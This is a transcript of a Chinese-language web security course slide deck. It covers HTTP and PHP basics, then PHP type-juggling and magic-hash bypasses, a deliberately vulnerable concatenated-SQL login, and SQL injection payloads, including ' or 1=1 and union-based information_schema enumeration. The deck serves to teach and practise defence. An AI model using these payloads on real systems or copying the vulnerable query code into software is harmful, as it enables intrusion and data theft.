IM620 Web Security

Basic PHP

• 動態網⾴開發語⾔ • 執⾏在 Server 上⾯，並將結果傳⾄客⼾端 • Example: • Wordpress
• Facebook • CDX Basic PHP

• 變數 • 名字前面都會需要加一個 $ • HTTP GET / POST
• $_GET • $_POST • Arrays Basic PHP

HTTP HyperText Transfer Protocol

•HTTP 具有無狀態特性 •通常使用 TCP 協定 •訂定八種請求方式 •訂有回傳狀態碼 •歷史版本 •HTTP 1.0
•HTTP 1.1 •HTTP 2.0 HTTP

HTTP 標頭

HTTP Header (Request) GET / HTTP/1.1 Host: racterub.me User-Agent: Mozilla/5.0
(Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0 Accept: text/html, Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 HTTP Method 請求方式

HTTP Header (Request) Request Path 資源位置 GET / HTTP/1.1 Host:
racterub.me User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0 Accept: text/html, Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1

HTTP Header (Request) HTTP 協定版本 1.1 1.2 2 GET /
HTTP/1.1 Host: racterub.me User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0 Accept: text/html, Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1

HTTP Header (Request) 存取網站域名 (domain/IP + port) GET / HTTP/1.1
Host: racterub.me User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0 Accept: text/html, Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1

HTTP Header (Request) ⽤於辨別作業系統和客⼾端(瀏覽器) GET / HTTP/1.1 Host: racterub.me User-Agent:
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0 Accept: text/html, Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1

HTTP Header (Response) HTTP/1.1 200 OK Server: nginx Date: Sun,
27 Sep 2020 10 : 44 : 42 GMT Content-Type: text/html; charset=utf-8 Last-Modif i ed: Tue, 04 Aug 2020 16 : 24 : 02 GMT Connection: close ETag: W/"5f298ba2-8a3" Content-Length: 2211 <!DOCTYPE HTML> . . . Status Code

27 Sep 2020 10 : 44 : 42 GMT Content-Type: text/html; charset=utf-8 Last-Modif i ed: Tue, 04 Aug 2020 16 : 24 : 02 GMT Connection: close ETag: W/"5f298ba2-8a3" Content-Length: 2211 <!DOCTYPE HTML> . . . Response Header

27 Sep 2020 10 : 44 : 42 GMT Content-Type: text/html; charset=utf-8 Last-Modif i ed: Tue, 04 Aug 2020 16 : 24 : 02 GMT Connection: close ETag: W/"5f298ba2-8a3" Content-Length: 2211 <!DOCTYPE HTML> . . . ⽂本內容

•GET: 向指定的資源發出顯示請求 HTTP Method

•GET: 向指定的資源發出顯示請求 •POST: 向指定資源提交資料 HTTP Method 提交的資料

•GET: 向指定的資源發出顯示請求 •POST: 向指定資源提交資料 •OPTIONS: 這個方法可使伺服器傳回該資源所支援的所有 HTTP請求方法 HTTP Method

•GET: 向指定的資源發出顯示請求 •POST: 向指定資源提交資料 •OPTIONS: 這個方法可使伺服器傳回該資源所支援的所有HTTP請求方法 •HEAD: 和 GET
雷同，但不回傳文本內容 •PUT: 向指定資源位置上傳其最新內容 •DELETE: 請求伺服器刪除Request-URI所標識的資源 •CONNECT: 預留給能夠將連接改為隧道方式的代理伺服器。(HTTP 1.1) •TRACE: 回顯伺服器收到的請求，主要用於測試或診斷 HTTP Method

• 200 : 成功 • 300 : 轉址 • 400
: ⽤⼾端錯誤 • 500 : 伺服端錯誤 HTTP 狀態碼

URL Uniform Resource Locator

URL scheme://User@Domain:Port/Path?Query#Fragment

URL scheme://User@Domain:Port/Path?Query#Fragment https://[email protected]:443/shell?cmd=ls#output

• 定義在 TCP/IP 裡⾯ • Port 範圍在 1 ~ 65535
• 在 IANA 有定義⼀些 Port 的⽤途  (但是 User 可以⾃訂) Ports

• 21: FTP • 22: SSH • 23: Telnet •
80: HTTP • 443: HTTPS • 3306: MySQL • 3389: RDP Ports

• GET / POST data • ?a=1&b=2 • $_GET •
$a = 1 • $b = 2 Basic PHP

• GET / POST data • ?a=1&b=2 • $_POST •
$a = 1 • $b = 2 Basic PHP

• GET / POST data •?a[]=1&a[]=2&a[]=3 • $_GET • $a
= Array(1,2,3) Basic PHP

• GET / POST data • a[]=1&a[]=2&a[]=3 • $_POST •
$a = Array(1,2,3) Basic PHP

Lab Basic PHP

• 弱型別 • '87' == 87 ? Basic PHP

• 弱型別 • '87' == 87 ? • True •
'1e5' == 100e3 ? Basic PHP

• 弱型別 • '87' == 87 ? • True •
'1e5' == 100e3 ? • True • NULL == 0 == False ? Basic PHP

• 弱型別 • '87' == 87 ? • True •
'1e5' == 100e3 ? • True • NULL == 0 == False ? • True Basic PHP

• 弱型別 • '123' + '456' ? Basic PHP

• 弱型別 • '123' + '456' ? • '579' •
'123' . '456'？ Basic PHP

• 弱型別 • '123' + '456' ? • '579' •
'123' . '456'？ • '123456' Basic PHP

Basic PHP

• Example: Basic PHP <?php if ($a != $b) {
if (md5($a) == md5($b)){ echo $flag; } }

if (md5($a) == md5($b)){ echo $flag; } } $a = QNKCDZO $b = s878926199a

if (md5($a) == md5($b)){ echo $flag; } } $a = QNKCDZO $b = s878926199a md5() 0e830400451993494058024219903391 0e545993274517709034328855841020

Basic PHP

啊現在的 PHP 都會改用 === 跟 !== 了啊

但是 PHP 還有一個潮潮的酷東東

• md5([]) Array 🌚

• md5([]) • NULL • strcmp([], []) Array 🌚

• md5([]) • NULL • strcmp([], []) • NULL •
sha1([]) Array 🌚

• md5([]) • NULL • strcmp([], []) • NULL •
sha1([]) • NULL Array 🌚

• Example: Array 🌚 <?php if ($a !== $b) {
if (md5($a) === md5($b)){ echo $flag; } } $a = [1] $b = [2]

• Example: Array 🌚 <?php if ($a !== $b) {
if (md5($a) === md5($b)){ echo $flag; } } $a = [1] $b = [2] md5() NULL NULL

Array 🌚

Lab PHP sucks

SQL Injection

SQL id username password 1 test test 2 admin 1234
3 yzu yz1234 4 itac itac id username password 1 test test 2 admin 1234 3 yzu yz1234 4 itac itac Login users admins

SQL id username password 1 test test 2 admin 1234
3 yzu yz1234 4 itac itac

SQL SELECT * FROM users ; id username password 1
test test 2 admin 1234 3 yzu yz1234 4 itac itac

SQL SELECT * FROM users WHERE username='admin' ; id username
password 1 test test 2 admin 1234 3 yzu yz1234 4 itac itac

SQL SELECT id, password FROM users WHERE username='admin' ; id
username password 1 test test 2 admin 1234 3 yzu yz1234 4 itac itac

SQL SELECT * FROM users LIMIT 0,1; id username password
1 test test 2 admin 1234 3 yzu yz1234 4 itac itac

SQL SELECT * FROM users LIMIT 1,3; id username password

SQL injection if (isset($_GET['user']) || isset($_GET['pass'])) { $sql = "SELECT
id FROM user WHERE username='". $_GET['user']."' AND password='".$_GET['pass']."'"; $result = $connection->query($sql); if ($result) { $data = $result->fetch(PDO::FETCH_ASSOC); if ($data) { die("success"); } else { die(“failed"); } } else { die("error"); } }

SQL injection SELECT id FROM user WHERE username='".$_GET['user']."' AND password='".$_GET['pass']."'";

SQL injection SELECT id FROM user WHERE username='admin' AND password='admin';
user = admin pass = admin

SQL injection SELECT id FROM user WHERE username=‘admin’;’ AND password='admin';
user = admin’; pass = admin

SQL injection SELECT id FROM user WHERE username='' or 1=1
-- ' AND password='admin'; user = ' or 1=1 --+ pass = admin

所以 SQL injection 通常出現在 SQL 語法拼接作查詢

Lab Web3 Login as admin

• Union-based • 做合併查詢，可以替換掉原本要查詢的位置，在網頁取得你構造的 SQL 語法所拿的資料 • Boolean-based •
當你在猜字時，可以透過 ASCII 來比較，用 True / False 撈資料 • Time-based • 可以使用 Boolean-based 的方式然後在多去 sleep 一下 SQL injection 種類

SQL SELECT * FROM users WHERE id=1; id username password

SQL SELECT * FROM users WHERE id=1 UNION SELECT 1,2,3;
id username password 1 test test 2 admin 1234 3 yzu yz1234 4 itac itac 1 2 3

SQL SELECT * FROM users WHERE id=-1 UNION SELECT 1,2,3;
id username password 1 2 3

SQL SELECT * FROM users WHERE id=-1 UNION SELECT 1,user(),3;
id username password 1 root@localhost 3

• information_schema MySQL

• information_schema • 存有資料庫的中繼資料 MySQL

• information_schema • 存有資料庫的中繼資料 • Database Name • Table Name
• Column Name MySQL

• Database Name • information_schema.schemata • Table Name • information_schema.tables
• Column Name • information_schema.columns MySQL

SQL SELECT * FROM users WHERE id=-1 UNION SELECT 1,schema_name,3
FROM information_schema.schemata; id username password 1 login 3

SQL SELECT * FROM users WHERE id=-1 UNION SELECT 1,table_name,3
FROM information_schema.tables WHERE table_schema='login'; id username password 1 users 3

SQL SELECT * FROM users WHERE id=-1 UNION SELECT 1,column_name,3
FROM information_schema.columns WHERE table_name='users'; id username password 1 id 3

SQL SELECT * FROM users WHERE id=-1 UNION SELECT 1,column_name,3
FROM information_schema.columns WHERE table_name='users' limit 1,1; id username password 1 username 3

SQL SELECT * FROM users WHERE id=-1 UNION SELECT 1,group_concat(column_name),3
FROM information_schema.columns WHERE table_name='users'; id username password 1 id, user, pass 3

Lab Web3 Blog

Bonus Web Login as admin - advanced

Bonus Web 🐚 🐚 🐚 🐚

IM620 Web Security

IM620 Web Security

More Decks by racterub

Other Decks in Education

Featured

Transcript